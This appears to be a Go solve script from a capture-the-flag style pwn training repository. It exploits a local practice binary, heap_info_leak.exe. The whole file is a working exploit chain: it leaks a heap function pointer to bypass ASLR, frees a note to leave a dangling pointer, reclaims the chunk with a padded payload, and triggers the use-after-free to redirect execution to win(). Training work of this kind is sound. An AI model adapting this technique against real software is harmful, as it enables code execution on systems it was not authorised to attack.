Files
go_pwner/workspace/07_heap_aslr/main.go
T
larryandClaude Sonnet 4.6 c9aafc512b restructure workspace into numbered pwn progression
Rename task dirs to 01_info_leak through 07_heap_aslr following a
standard learning order (info leak → ROP → fmtstr → heap overflow →
UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos,
heap_segment, and template directories. Strip debug symbols from all
compiled challenge binaries and remove all .exe files from the tree.
Strip all explanatory comments from solve scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-08-06 22:21:32 +03:00

103 lines
2.7 KiB
Go

package main
import (
"bytes"
"encoding/binary"
"encoding/hex"
"fmt"
"log"
"strconv"
"winpwn"
)
func parseAddr(line []byte) (uint64, error) {
idx := bytes.Index(line, []byte("addr=0x"))
if idx == -1 {
return 0, fmt.Errorf("no addr= in %q", line)
}
return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}
func main() {
pf, err := winpwn.OpenPE("heap_info_leak.exe")
if err != nil {
log.Fatalf("OpenPE: %v", err)
}
realShowRVA, err := pf.GetProcAddress("real_show")
if err != nil {
log.Fatalf("real_show not found in exports: %v", err)
}
winRVA, err := pf.GetProcAddress("win")
if err != nil {
log.Fatalf("win not found in exports: %v", err)
}
pf.Close()
rvaDiff := int64(winRVA) - int64(realShowRVA)
fmt.Printf("[+] win RVA=0x%x real_show RVA=0x%x diff=%+d\n", winRVA, realShowRVA, rvaDiff)
tube, err := winpwn.Spawn("heap_info_leak.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine: %v", err)
}
if err := tube.SendLine([]byte("N victim")); err != nil {
log.Fatalf("SendLine N: %v", err)
}
resp, err := tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine N: %v", err)
}
noteAddr, _ := parseAddr(resp)
fmt.Printf("[+] Note @ 0x%x\n", noteAddr)
if err := tube.SendLine([]byte("S 0 32")); err != nil {
log.Fatalf("SendLine S: %v", err)
}
resp, err = tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine S: %v", err)
}
hexPart := bytes.TrimPrefix(bytes.TrimSpace(resp), []byte("HEX "))
leaked, err := hex.DecodeString(string(hexPart))
if err != nil || len(leaked) < 32 {
log.Fatalf("bad HEX response: %q", resp)
}
realShowVA := binary.LittleEndian.Uint64(leaked[24:32])
fmt.Printf("[+] leaked onShow = real_show @ 0x%x (ASLR'd!)\n", realShowVA)
winVA := uint64(int64(realShowVA) + rvaDiff)
fmt.Printf("[+] win() @ 0x%x\n", winVA)
if err := tube.SendLine([]byte("D 0")); err != nil {
log.Fatalf("SendLine D: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine D: %v", err)
}
fmt.Printf("[+] freed victim note (dangling pointer at id=0)\n")
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
if err := tube.SendLine([]byte("T " + winpwn.Enhex(payload))); err != nil {
log.Fatalf("SendLine T: %v", err)
}
resp, err = tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine T: %v", err)
}
tokenAddr, _ := parseAddr(resp)
fmt.Printf("[+] Token @ 0x%x (want 0x%x)\n", tokenAddr, noteAddr)
if tokenAddr != noteAddr {
fmt.Printf("[-] WARN: chunk reuse mismatch -- may fail\n")
}
fmt.Printf("[+] triggering P 0 (UAF -> win())...\n")
if err := tube.SendLine([]byte("P 0")); err != nil {
log.Fatalf("SendLine P: %v", err)
}
tube.Interactive()
}